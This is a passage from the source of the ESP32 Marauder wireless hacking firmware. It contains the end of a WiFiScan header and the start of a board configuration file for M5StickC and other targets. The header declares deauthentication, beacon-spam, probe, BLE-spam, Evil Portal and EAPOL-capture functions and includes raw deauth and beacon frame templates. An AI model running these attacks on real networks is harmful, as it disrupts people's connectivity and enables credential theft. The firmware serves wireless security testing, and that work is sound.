199 | const String alfa = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789-=[];',./`\\_+{}:\"<>?~|!@#$%^&*()";
200 |
201 | const char* rick_roll[8] = {
202 | "01 Never gonna give you up",
203 | "02 Never gonna let you down",
204 | "03 Never gonna run around",
205 | "04 and desert you",
206 | "05 Never gonna make you cry",
207 | "06 Never gonna say goodbye",
208 | "07 Never gonna tell a lie",
209 | "08 and hurt you"
210 | };
211 |
212 | char* prefix = "G";
213 |
214 | typedef struct
215 | {
216 | int16_t fctl;
217 | int16_t duration;
218 | uint8_t da;
219 | uint8_t sa;
220 | uint8_t bssid;
221 | int16_t seqctl;
222 | unsigned char payload[];
223 | } __attribute__((packed)) WifiMgmtHdr;
224 |
225 | typedef struct {
226 | uint8_t payload[0];
227 | WifiMgmtHdr hdr;
228 | } wifi_ieee80211_packet_t;
229 |
230 | // barebones packet
231 | uint8_t packet[128] = { 0x80, 0x00, 0x00, 0x00, //Frame Control, Duration
232 | /*4*/ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //Destination address
233 | /*10*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //Source address - overwritten later
234 | /*16*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //BSSID - overwritten to the same as the source address
235 | /*22*/ 0xc0, 0x6c, //Seq-ctl
236 | /*24*/ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, //timestamp - the number of microseconds the AP has been active
237 | /*32*/ 0x64, 0x00, //Beacon interval
238 | /*34*/ 0x01, 0x04, //Capability info
239 | /* SSID */
240 | /*36*/ 0x00
241 | };
242 |
243 | uint8_t prob_req_packet[128] = {0x40, 0x00, 0x00, 0x00,
244 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination
245 | 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
246 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Dest
247 | 0x01, 0x00, // Sequence
248 | 0x00, // SSID Parameter
249 | 0x00, // SSID Length
250 | /* SSID */
251 | };
252 |
253 | uint8_t deauth_frame_default[26] = {
254 | 0xc0, 0x00, 0x3a, 0x01,
255 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
256 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
257 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
258 | 0xf0, 0xff, 0x02, 0x00
259 | };
260 |
261 | enum EBLEPayloadType
262 | {
263 | Microsoft,
264 | Apple,
265 | Samsung,
266 | Google
267 | };
268 |
269 | #ifdef HAS_BT
270 |
271 | struct BLEData
272 | {
273 | NimBLEAdvertisementData AdvData;
274 | NimBLEAdvertisementData ScanData;
275 | };
276 |
277 | struct WatchModel
278 | {
279 | uint8_t value;
280 | const char *name;
281 | };
282 |
283 | WatchModel* watch_models = nullptr;
284 |
285 | static void scanCompleteCB(BLEScanResults scanResults);
286 | NimBLEAdvertisementData GetUniversalAdvertisementData(EBLEPayloadType type);
287 | #endif
288 |
289 | bool seen_mac(unsigned char* mac);
290 | bool mac_cmp(struct mac_addr addr1, struct mac_addr addr2);
291 | void save_mac(unsigned char* mac);
292 | void clearMacHistory();
293 | void executeWarDrive();
294 | void executeSourApple();
295 | void executeSwiftpairSpam(EBLEPayloadType type);
296 | void startWardriverWiFi();
297 | void generateRandomMac(uint8_t* mac);
298 |
299 | void startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string);
300 |
301 | void packetMonitorMain(uint32_t currentTime);
302 | void eapolMonitorMain(uint32_t currentTime);
303 | void updateMidway();
304 | void tftDrawXScalButtons();
305 | void tftDrawYScaleButtons();
306 | void tftDrawChannelScaleButtons();
307 | void tftDrawColorKey();
308 | void tftDrawGraphObjects();
309 | void sendProbeAttack(uint32_t currentTime);
310 | void sendDeauthAttack(uint32_t currentTime, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
311 | void sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
312 | void sendDeauthFrame(uint8_t bssid[6], int channel, uint8_t mac[6]);
313 | void broadcastRandomSSID(uint32_t currentTime);
314 | void broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid);
315 | void broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid);
316 | void broadcastSetSSID(uint32_t current_time, const char* ESSID);
317 | void RunAPScan(uint8_t scan_mode, uint16_t color);
318 | void RunGPSInfo();
319 | void RunGPSNmea();
320 | void RunMimicFlood(uint8_t scan_mode, uint16_t color);
321 | void RunPwnScan(uint8_t scan_mode, uint16_t color);
322 | void RunBeaconScan(uint8_t scan_mode, uint16_t color);
323 | void RunRawScan(uint8_t scan_mode, uint16_t color);
324 | void RunStationScan(uint8_t scan_mode, uint16_t color);
325 | void RunDeauthScan(uint8_t scan_mode, uint16_t color);
326 | void RunEapolScan(uint8_t scan_mode, uint16_t color);
327 | void RunProbeScan(uint8_t scan_mode, uint16_t color);
328 | void RunPacketMonitor(uint8_t scan_mode, uint16_t color);
329 | void RunBluetoothScan(uint8_t scan_mode, uint16_t color);
330 | void RunSourApple(uint8_t scan_mode, uint16_t color);
331 | void RunSwiftpairSpam(uint8_t scan_mode, uint16_t color);
332 | void RunLvJoinWiFi(uint8_t scan_mode, uint16_t color);
333 | void RunEvilPortal(uint8_t scan_mode, uint16_t color);
334 | bool checkMem();
335 |
336 |
337 | public:
338 | WiFiScan();
339 |
340 | //AccessPoint ap_list;
341 |
342 | //LinkedList* ssids;
343 |
344 | uint8_t set_channel = 1;
345 |
346 | uint8_t old_channel = 0;
347 |
348 | bool orient_display = false;
349 | bool wifi_initialized = false;
350 | bool ble_initialized = false;
351 |
352 | String free_ram = "";
353 | String old_free_ram = "";
354 | String connected_network = "";
355 |
356 | String dst_mac = "ff:ff:ff:ff:ff:ff";
357 | byte src_mac[6] = {};
358 |
359 |
360 | wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
361 | wifi_config_t ap_config;
362 |
363 | String security_int_to_string(int security_type);
364 | char* stringToChar(String string);
365 | void RunSetup();
366 | int clearSSIDs();
367 | int clearAPs();
368 | int clearStations();
369 | bool addSSID(String essid);
370 | int generateSSIDs(int count = 20);
371 | bool shutdownWiFi();
372 | bool shutdownBLE();
373 | bool scanning();
374 | //void joinWiFi(String ssid, String password);
375 | String getStaMAC();
376 | String getApMAC();
377 | String freeRAM();
378 | void changeChannel();
379 | void changeChannel(int chan);
380 | void RunInfo();
381 | //void RunShutdownBLE();
382 | void RunGenerateSSIDs(int count = 20);
383 | void RunClearSSIDs();
384 | void RunClearAPs();
385 | void RunClearStations();
386 | void channelHop();
387 | uint8_t currentScanMode = 0;
388 | void main(uint32_t currentTime);
389 | void StartScan(uint8_t scan_mode, uint16_t color = 0);
390 | void StopScan(uint8_t scan_mode);
391 | const char* generateRandomName();
392 | //void addLog(String log, int len);
393 |
394 | static void getMAC(char *addr, uint8_t* data, uint16_t offset);
395 | static void pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
396 | static void beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
397 | static void rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
398 | static void stationSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
399 | static void apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
400 | static void apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type);
401 | static void deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
402 | static void probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
403 | static void beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
404 | static void activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
405 | static void eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
406 | static void wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
407 | static void addPacket(wifi_promiscuous_pkt_t *snifferPacket, int len);
408 |
409 | /*#ifdef HAS_BT
410 | enum EBLEPayloadType
411 | {
412 | Microsoft,
413 | Apple,
414 | Samsung,
415 | Google
416 | };
417 |
418 | struct BLEData
419 | {
420 | NimBLEAdvertisementData AdvData;
421 | NimBLEAdvertisementData ScanData;
422 | };
423 |
424 | struct WatchModel
425 | {
426 | uint8_t value;
427 | const char *name;
428 | };
429 |
430 | WatchModel* watch_models = nullptr;
431 |
432 | const WatchModel watch_models[] = {
433 | {0x1A, "Fallback Watch"},
434 | {0x01, "White Watch4 Classic 44m"},
435 | {0x02, "Black Watch4 Classic 40m"},
436 | {0x03, "White Watch4 Classic 40m"},
437 | {0x04, "Black Watch4 44mm"},
438 | {0x05, "Silver Watch4 44mm"},
439 | {0x06, "Green Watch4 44mm"},
440 | {0x07, "Black Watch4 40mm"},
441 | {0x08, "White Watch4 40mm"},
442 | {0x09, "Gold Watch4 40mm"},
443 | {0x0A, "French Watch4"},
444 | {0x0B, "French Watch4 Classic"},
445 | {0x0C, "Fox Watch5 44mm"},
446 | {0x11, "Black Watch5 44mm"},
447 | {0x12, "Sapphire Watch5 44mm"},
448 | {0x13, "Purpleish Watch5 40mm"},
449 | {0x14, "Gold Watch5 40mm"},
450 | {0x15, "Black Watch5 Pro 45mm"},
451 | {0x16, "Gray Watch5 Pro 45mm"},
452 | {0x17, "White Watch5 44mm"},
453 | {0x18, "White & Black Watch5"},
454 | {0x1B, "Black Watch6 Pink 40mm"},
455 | {0x1C, "Gold Watch6 Gold 40mm"},
456 | {0x1D, "Silver Watch6 Cyan 44mm"},
457 | {0x1E, "Black Watch6 Classic 43m"},
458 | {0x20, "Green Watch6 Classic 43m"},
459 | };
460 | #endif*/
461 | };
462 | #endif
463 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/configs.h:
--------------------------------------------------------------------------------
1 |
2 |
3 | #include
4 |
5 | #pragma once
6 |
7 | #ifndef configs_h
8 |
9 | #define configs_h
10 |
11 | #define POLISH_POTATO
12 |
13 | //Indicates that it must redirect the stream with the captured packets to serial (1)
14 | //If not defined, will write packages to SD card if supported
15 | //#define WRITE_PACKETS_SERIAL
16 |
17 | //// BOARD TARGETS
18 | #define MARAUDER_M5STICKC
19 | //#define MARAUDER_MINI
20 | //#define MARAUDER_V4
21 | //#define MARAUDER_V6
22 | //#define MARAUDER_V6_1
23 | //#define MARAUDER_KIT
24 | //#define GENERIC_ESP32
25 | //#define MARAUDER_FLIPPER
26 | //#define ESP32_LDDB
27 | //#define MARAUDER_DEV_BOARD_PRO
28 | //#define XIAO_ESP32_S3
29 | //// END BOARD TARGETS
30 |
31 | #define MARAUDER_VERSION "v0.13.6"
32 |
33 | //// HARDWARE NAMES
34 | #ifdef MARAUDER_M5STICKC
35 | #define HARDWARE_NAME "M5Stick-C Plus"
36 | #elif defined(MARAUDER_MINI)
37 | #define HARDWARE_NAME "Marauder Mini"
38 | #elif defined(MARAUDER_V4)
39 | #define HARDWARE_NAME "Marauder v4"
40 | #elif defined(MARAUDER_V6)
41 | #define HARDWARE_NAME "Marauder v6"
42 | #elif defined(MARAUDER_V6_1)
43 | #define HARDWARE_NAME "Marauder v6.1"
44 | #elif defined(MARAUDER_KIT)
45 | #define HARDWARE_NAME "Marauder Kit"
46 | #elif defined(MARAUDER_FLIPPER)
47 | #define HARDWARE_NAME "Flipper Zero Dev Board"
48 | #elif defined(ESP32_LDDB)
49 | #define HARDWARE_NAME "ESP32 LDDB"
50 | #elif defined(MARAUDER_DEV_BOARD_PRO)
51 | #define HARDWARE_NAME "Flipper Zero Dev Board Pro"
52 | #elif defined(XIAO_ESP32_S3)
53 | #define HARDWARE_NAME "XIAO ESP32 S3"
54 | #else
55 | #define HARDWARE_NAME "ESP32"
56 | #endif
57 |
58 | //// END HARDWARE NAMES
59 |
60 | //// BOARD FEATURES
61 | #ifdef MARAUDER_M5STICKC
62 | //#define FLIPPER_ZERO_HAT
63 | #define HAS_BATTERY
64 | #define HAS_BT
65 | #define HAS_BUTTONS
66 | //#define HAS_NEOPIXEL_LED
67 | #define HAS_PWR_MGMT
68 | #define HAS_SCREEN
69 | #define HAS_SD
70 | #define USE_SD
71 | #define HAS_TEMP_SENSOR
72 | #define HAS_GPS
73 | #endif
74 |
75 | #ifdef MARAUDER_MINI
76 | //#define FLIPPER_ZERO_HAT
77 | #define HAS_BATTERY
78 | #define HAS_BT
79 | #define HAS_BUTTONS
80 | #define HAS_NEOPIXEL_LED
81 | //#define HAS_PWR_MGMT
82 | #define HAS_SCREEN
83 | #define HAS_SD
84 | #define USE_SD
85 | #define HAS_TEMP_SENSOR
86 | #define HAS_GPS
87 | #endif
88 |
89 | #ifdef MARAUDER_V4
90 | //#define FLIPPER_ZERO_HAT
91 | #define HAS_BATTERY
92 | #define HAS_BT
93 | //#define HAS_BUTTONS
94 | #define HAS_NEOPIXEL_LED
95 | //#define HAS_PWR_MGMT
96 | #define HAS_SCREEN
97 | #define HAS_SD
98 | #define USE_SD
99 | #define HAS_TEMP_SENSOR
100 | #define HAS_GPS
101 | #endif
102 |
103 | #if defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
104 | //#define FLIPPER_ZERO_HAT
105 | #define HAS_BATTERY
106 | #define HAS_BT
107 | #define HAS_BT_REMOTE
108 | #define HAS_BUTTONS
109 | #define HAS_NEOPIXEL_LED
110 | //#define HAS_PWR_MGMT
111 | #define HAS_SCREEN
112 | #define HAS_SD
113 | #define USE_SD
114 | #define HAS_TEMP_SENSOR
115 | #define HAS_GPS
116 | #endif
117 |
118 | #ifdef MARAUDER_KIT
119 | //#define FLIPPER_ZERO_HAT
120 | #define HAS_BATTERY
121 | #define HAS_BT
122 | //#define HAS_BUTTONS
123 | #define HAS_NEOPIXEL_LED
124 | //#define HAS_PWR_MGMT
125 | #define HAS_SCREEN
126 | #define HAS_SD
127 | #define USE_SD
128 | #define HAS_TEMP_SENSOR
129 | #define HAS_GPS
130 | #endif
131 |
132 | #ifdef GENERIC_ESP32
133 | //#define FLIPPER_ZERO_HAT
134 | //#define HAS_BATTERY
135 | #define HAS_BT
136 | //#define HAS_BUTTONS
137 | //#define HAS_NEOPIXEL_LED
138 | //#define HAS_PWR_MGMT
139 | //#define HAS_SCREEN
140 | //#define HAS_SD
141 | //#define HAS_TEMP_SENSOR
142 | //#define HAS_GPS
143 | #endif
144 |
145 | #ifdef MARAUDER_FLIPPER
146 | //#define FLIPPER_ZERO_HAT
147 | //#define HAS_BATTERY
148 | //#define HAS_BT
149 | //#define HAS_BUTTONS
150 | //#define HAS_NEOPIXEL_LED
151 | //#define HAS_PWR_MGMT
152 | //#define HAS_SCREEN
153 | #define HAS_GPS
154 | #ifndef WRITE_PACKETS_SERIAL
155 | #define HAS_SD
156 | #define USE_SD
157 | #endif
158 | //#define HAS_TEMP_SENSOR
159 | #endif
160 |
161 | #ifdef ESP32_LDDB
162 | //#define FLIPPER_ZERO_HAT
163 | //#define HAS_BATTERY
164 | #define HAS_BT
165 | //#define HAS_BUTTONS
166 | #define HAS_NEOPIXEL_LED
167 | //#define HAS_PWR_MGMT
168 | //#define HAS_SCREEN
169 | #define HAS_SD
170 | #define USE_SD
171 | //#define HAS_TEMP_SENSOR
172 | //#define HAS_GPS
173 | #endif
174 |
175 | #ifdef MARAUDER_DEV_BOARD_PRO
176 | //#define FLIPPER_ZERO_HAT
177 | //#define HAS_BATTERY
178 | #define HAS_BT
179 | //#define HAS_BUTTONS
180 | #define HAS_NEOPIXEL_LED
181 | //#define HAS_PWR_MGMT
182 | //#define HAS_SCREEN
183 | #define HAS_SD
184 | #define USE_SD
185 | //#define HAS_TEMP_SENSOR
186 | #define HAS_GPS
187 | #endif
188 |
189 | #ifdef XIAO_ESP32_S3
190 | #define FLIPPER_ZERO_HAT
191 | //#define HAS_BATTERY
192 | #define HAS_BT
193 | //#define HAS_BUTTONS
194 | //#define HAS_NEOPIXEL_LED
195 | //#define HAS_PWR_MGMT
196 | //#define HAS_SCREEN
197 | //#define HAS_SD
198 | //#define HAS_TEMP_SENSOR
199 | //#define HAS_GPS
200 | #endif
201 | //// END BOARD FEATURES
202 |
203 | //// FLIPPER ZERO HAT SETTINGS
204 | #ifdef FLIPPER_ZERO_HAT
205 |
206 | //#ifdef MARAUDER_FLIPPER
207 | // #define USE_FLIPPER_SD
208 | //#endif
209 |
210 | #ifdef XIAO_ESP32_S3
211 | #define USE_FLIPPER_SD
212 | #endif
213 |
214 | #endif
215 | //// END FLIPPER ZERO HAT SETTINGS
216 |
217 | //// POWER MANAGEMENT
218 | #ifdef HAS_PWR_MGMT
219 | #ifdef MARAUDER_M5STICKC
220 | #include "AXP192.h"
221 | #endif
222 | #endif
223 | //// END POWER MANAGEMENT
224 |
225 | //// BUTTON DEFINITIONS
226 | #ifdef HAS_BUTTONS
227 |
228 | #ifdef MARAUDER_MINI
229 | #define L_BTN 13
230 | #define C_BTN 34
231 | #define U_BTN 36
232 | #define R_BTN 39
233 | #define D_BTN 35
234 | #endif
235 |
236 | #ifdef MARAUDER_M5STICKC
237 | #define L_BTN -1
238 | #define C_BTN 37
239 | #define U_BTN -1
240 | #define R_BTN -1
241 | #define D_BTN 39
242 | #endif
243 |
244 | #ifdef MARAUDER_V6
245 | #define L_BTN -1
246 | #define C_BTN 0
247 | #define U_BTN -1
248 | #define R_BTN -1
249 | #define D_BTN -1
250 | #endif
251 |
252 | #ifdef MARAUDER_V6_1
253 | #define L_BTN -1
254 | #define C_BTN 0
255 | #define U_BTN -1
256 | #define R_BTN -1
257 | #define D_BTN -1
258 | #endif
259 |
260 | #endif
261 | //// END BUTTON DEFINITIONS
262 |
263 | //// DISPLAY DEFINITIONS
264 | #ifdef HAS_SCREEN
265 |
266 | #ifdef MARAUDER_M5STICKC
267 | #define SCREEN_CHAR_WIDTH 40
268 | //#define TFT_MISO 4
269 | #define TFT_MOSI 15
270 | #define TFT_SCLK 13
271 | #define TFT_CS 5
272 | #define TFT_DC 14
273 | #define TFT_RST 12
274 | #define TFT_BL 27
275 | #define TOUCH_CS -1
276 | //#define SD_CS 1
277 |
278 | #define SCREEN_BUFFER
279 |
280 | #define MAX_SCREEN_BUFFER 9
281 |
282 | #define BANNER_TEXT_SIZE 1
283 |
284 | #ifndef TFT_WIDTH
285 | #define TFT_WIDTH 135
286 | #endif
287 |
288 | #ifndef TFT_HEIGHT
289 | #define TFT_HEIGHT 240
290 | #endif
291 |
292 | #define CHAR_WIDTH 6
293 | #define SCREEN_WIDTH TFT_HEIGHT // Originally 240
294 | #define SCREEN_HEIGHT TFT_WIDTH // Originally 320
295 | #define HEIGHT_1 TFT_WIDTH
296 | #define WIDTH_1 TFT_WIDTH
297 | #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
298 | #define TEXT_HEIGHT (TFT_HEIGHT/10) // Height of text to be printed and scrolled
299 | #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
300 | #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
301 | #define YMAX TFT_HEIGHT // Bottom of screen area
302 | #define minimum(a,b) (((a) < (b)) ? (a) : (b))
303 | //#define MENU_FONT NULL
304 | #define MENU_FONT &FreeMono9pt7b // Winner
305 | //#define MENU_FONT &FreeMonoBold9pt7b
306 | //#define MENU_FONT &FreeSans9pt7b
307 | //#define MENU_FONT &FreeSansBold9pt7b
308 | #define BUTTON_SCREEN_LIMIT 6
309 | #define BUTTON_ARRAY_LEN 13
310 | #define STATUS_BAR_WIDTH (TFT_HEIGHT/16)
311 | #define LVGL_TICK_PERIOD 6
312 |
313 | #define FRAME_X 100
314 | #define FRAME_Y 64
315 | #define FRAME_W 120
316 | #define FRAME_H 50
317 |
318 | // Red zone size
319 | #define REDBUTTON_X FRAME_X
320 | #define REDBUTTON_Y FRAME_Y
321 | #define REDBUTTON_W (FRAME_W/2)
322 | #define REDBUTTON_H FRAME_H
323 |
324 | // Green zone size
325 | #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
326 | #define GREENBUTTON_Y FRAME_Y
327 | #define GREENBUTTON_W (FRAME_W/2)
328 | #define GREENBUTTON_H FRAME_H
329 |
330 | #define STATUSBAR_COLOR 0x4A49
331 |
332 | #endif
333 |
334 | #ifdef MARAUDER_V4
335 | #define SCREEN_CHAR_WIDTH 40
336 | #define HAS_ILI9341
337 | #define BANNER_TEXT_SIZE 2
338 |
339 | #ifndef TFT_WIDTH
340 | #define TFT_WIDTH 240
341 | #endif
342 |
343 | #ifndef TFT_HEIGHT
344 | #define TFT_HEIGHT 320
345 | #endif
346 |
347 | #define TFT_SHIELD
348 |
349 | #define SCREEN_WIDTH TFT_WIDTH
350 | #define SCREEN_HEIGHT TFT_HEIGHT
351 | #define HEIGHT_1 TFT_WIDTH
352 | #define WIDTH_1 TFT_HEIGHT
353 | #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
354 | #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
355 | #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
356 | #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
357 | #define YMAX 320 // Bottom of screen area
358 | #define minimum(a,b) (((a) < (b)) ? (a) : (b))
359 | //#define MENU_FONT NULL
360 | #define MENU_FONT &FreeMono9pt7b // Winner
361 | //#define MENU_FONT &FreeMonoBold9pt7b
362 | //#define MENU_FONT &FreeSans9pt7b
363 | //#define MENU_FONT &FreeSansBold9pt7b
364 | #define BUTTON_SCREEN_LIMIT 12
365 | #define BUTTON_ARRAY_LEN 12
366 | #define STATUS_BAR_WIDTH 16
367 | #define LVGL_TICK_PERIOD 6
368 |
369 | #define FRAME_X 100
370 | #define FRAME_Y 64
371 | #define FRAME_W 120
372 | #define FRAME_H 50
373 |
374 | // Red zone size
375 | #define REDBUTTON_X FRAME_X
376 | #define REDBUTTON_Y FRAME_Y
377 | #define REDBUTTON_W (FRAME_W/2)
378 | #define REDBUTTON_H FRAME_H
379 |
380 | // Green zone size
381 | #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
382 | #define GREENBUTTON_Y FRAME_Y
383 | #define GREENBUTTON_W (FRAME_W/2)
384 | #define GREENBUTTON_H FRAME_H
385 |
386 | #define STATUSBAR_COLOR 0x4A49
387 |
388 | #define KIT_LED_BUILTIN 13
389 | #endif
390 |
391 | #if defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
392 | #define SCREEN_CHAR_WIDTH 40
393 | #define HAS_ILI9341
394 |
395 | #define BANNER_TEXT_SIZE 2
396 |
397 | #ifndef TFT_WIDTH
398 | #define TFT_WIDTH 240
399 | #endif
400 |
401 | #ifndef TFT_HEIGHT
402 | #define TFT_HEIGHT 320
403 | #endif
404 |
405 | #define TFT_DIY
406 |
407 | #define SCREEN_WIDTH TFT_WIDTH
408 | #define SCREEN_HEIGHT TFT_HEIGHT
409 | #define HEIGHT_1 TFT_WIDTH
410 | #define WIDTH_1 TFT_HEIGHT
411 | #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
412 | #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
413 | #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
414 | #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
415 | #define YMAX 320 // Bottom of screen area
416 | #define minimum(a,b) (((a) < (b)) ? (a) : (b))
417 | //#define MENU_FONT NULL
418 | #define MENU_FONT &FreeMono9pt7b // Winner
419 | //#define MENU_FONT &FreeMonoBold9pt7b
420 | //#define MENU_FONT &FreeSans9pt7b
421 | //#define MENU_FONT &FreeSansBold9pt7b
422 | #define BUTTON_SCREEN_LIMIT 12
423 | #define BUTTON_ARRAY_LEN 12
424 | #define STATUS_BAR_WIDTH 16
425 | #define LVGL_TICK_PERIOD 6
426 |
427 | #define FRAME_X 100
428 | #define FRAME_Y 64
429 | #define FRAME_W 120
430 | #define FRAME_H 50
431 |
432 | // Red zone size
433 | #define REDBUTTON_X FRAME_X
434 | #define REDBUTTON_Y FRAME_Y
435 | #define REDBUTTON_W (FRAME_W/2)
436 | #define REDBUTTON_H FRAME_H
437 |
438 | // Green zone size
439 | #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
440 | #define GREENBUTTON_Y FRAME_Y
441 | #define GREENBUTTON_W (FRAME_W/2)
442 | #define GREENBUTTON_H FRAME_H
443 |
444 | #define STATUSBAR_COLOR 0x4A49
445 |
446 | #define KIT_LED_BUILTIN 13
447 | #endif
448 |
449 | #ifdef MARAUDER_KIT
450 | #define SCREEN_CHAR_WIDTH 40
451 | #define HAS_ILI9341
452 |
453 | #define BANNER_TEXT_SIZE 2
454 |
455 | #ifndef TFT_WIDTH
456 | #define TFT_WIDTH 240
457 | #endif
458 |
459 | #ifndef TFT_HEIGHT
460 | #define TFT_HEIGHT 320
461 | #endif
462 |
463 | #define TFT_DIY
464 | #define KIT
465 |
466 | #define SCREEN_WIDTH TFT_WIDTH
467 | #define SCREEN_HEIGHT TFT_HEIGHT
468 | #define HEIGHT_1 TFT_WIDTH
469 | #define WIDTH_1 TFT_HEIGHT
470 | #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
471 | #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
472 | #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
473 | #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
474 | #define YMAX 320 // Bottom of screen area
475 | #define minimum(a,b) (((a) < (b)) ? (a) : (b))
476 | //#define MENU_FONT NULL
477 | #define MENU_FONT &FreeMono9pt7b // Winner
478 | //#define MENU_FONT &FreeMonoBold9pt7b
479 | //#define MENU_FONT &FreeSans9pt7b
480 | //#define MENU_FONT &FreeSansBold9pt7b
481 | #define BUTTON_SCREEN_LIMIT 12
482 | #define BUTTON_ARRAY_LEN 12
483 | #define STATUS_BAR_WIDTH 16
484 | #define LVGL_TICK_PERIOD 6
485 |
486 | #define FRAME_X 100
487 | #define FRAME_Y 64
488 | #define FRAME_W 120
489 | #define FRAME_H 50
490 |
491 | // Red zone size
492 | #define REDBUTTON_X FRAME_X
493 | #define REDBUTTON_Y FRAME_Y
494 | #define REDBUTTON_W (FRAME_W/2)
495 | #define REDBUTTON_H FRAME_H
496 |
497 | // Green zone size
498 | #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
499 | #define GREENBUTTON_Y FRAME_Y
500 | #define GREENBUTTON_W (FRAME_W/2)
501 | #define GREENBUTTON_H FRAME_H
502 |
503 | #define STATUSBAR_COLOR 0x4A49
504 |
505 | #define KIT_LED_BUILTIN 13
506 | #endif
507 |
508 | #ifdef MARAUDER_MINI
509 | #define SCREEN_CHAR_WIDTH 40
510 | #define TFT_MISO 19
511 | #define TFT_MOSI 23
512 | #define TFT_SCLK 18
513 | #define TFT_CS 27
514 | #define TFT_DC 26
515 | #define TFT_RST 5
516 | #define TFT_BL 32
517 | #define TOUCH_CS 21
518 | #define SD_CS 4
519 |
520 | #define SCREEN_BUFFER
521 |
522 | #define MAX_SCREEN_BUFFER 9
523 |
524 | #define BANNER_TEXT_SIZE 1
525 |
526 | #ifndef TFT_WIDTH
527 | #define TFT_WIDTH 128
528 | #endif
529 |
530 | #ifndef TFT_HEIGHT
531 | #define TFT_HEIGHT 128
532 | #endif
533 |
534 | #define CHAR_WIDTH 6
535 | #define SCREEN_WIDTH TFT_WIDTH // Originally 240
536 | #define SCREEN_HEIGHT TFT_HEIGHT // Originally 320
537 | #define HEIGHT_1 TFT_WIDTH
538 | #define WIDTH_1 TFT_WIDTH
539 | #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
540 | #define TEXT_HEIGHT (TFT_HEIGHT/10) // Height of text to be printed and scrolled
541 | #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
542 | #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
543 | #define YMAX TFT_HEIGHT // Bottom of screen area
544 | #define minimum(a,b) (((a) < (b)) ? (a) : (b))
545 | //#define MENU_FONT NULL
546 | #define MENU_FONT &FreeMono9pt7b // Winner
547 | //#define MENU_FONT &FreeMonoBold9pt7b
548 | //#define MENU_FONT &FreeSans9pt7b
549 | //#define MENU_FONT &FreeSansBold9pt7b
550 | #define BUTTON_SCREEN_LIMIT 10
551 | #define BUTTON_ARRAY_LEN 13
552 | #define STATUS_BAR_WIDTH (TFT_HEIGHT/16)
553 | #define LVGL_TICK_PERIOD 6
554 |
555 | #define FRAME_X 100
556 | #define FRAME_Y 64
557 | #define FRAME_W 120
558 | #define FRAME_H 50
559 |
560 | // Red zone size
561 | #define REDBUTTON_X FRAME_X
562 | #define REDBUTTON_Y FRAME_Y
563 | #define REDBUTTON_W (FRAME_W/2)
564 | #define REDBUTTON_H FRAME_H
565 |
566 | // Green zone size
567 | #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
568 | #define GREENBUTTON_Y FRAME_Y
569 | #define GREENBUTTON_W (FRAME_W/2)
570 | #define GREENBUTTON_H FRAME_H
571 |
572 | #define STATUSBAR_COLOR 0x4A49
573 | #endif
574 |
575 | #endif
576 | //// END DISPLAY DEFINITIONS
577 |
578 | //// MENU DEFINITIONS
579 | #ifdef MARAUDER_V4
580 | #define BANNER_TIME 100
581 |
582 | #define COMMAND_PREFIX "!"
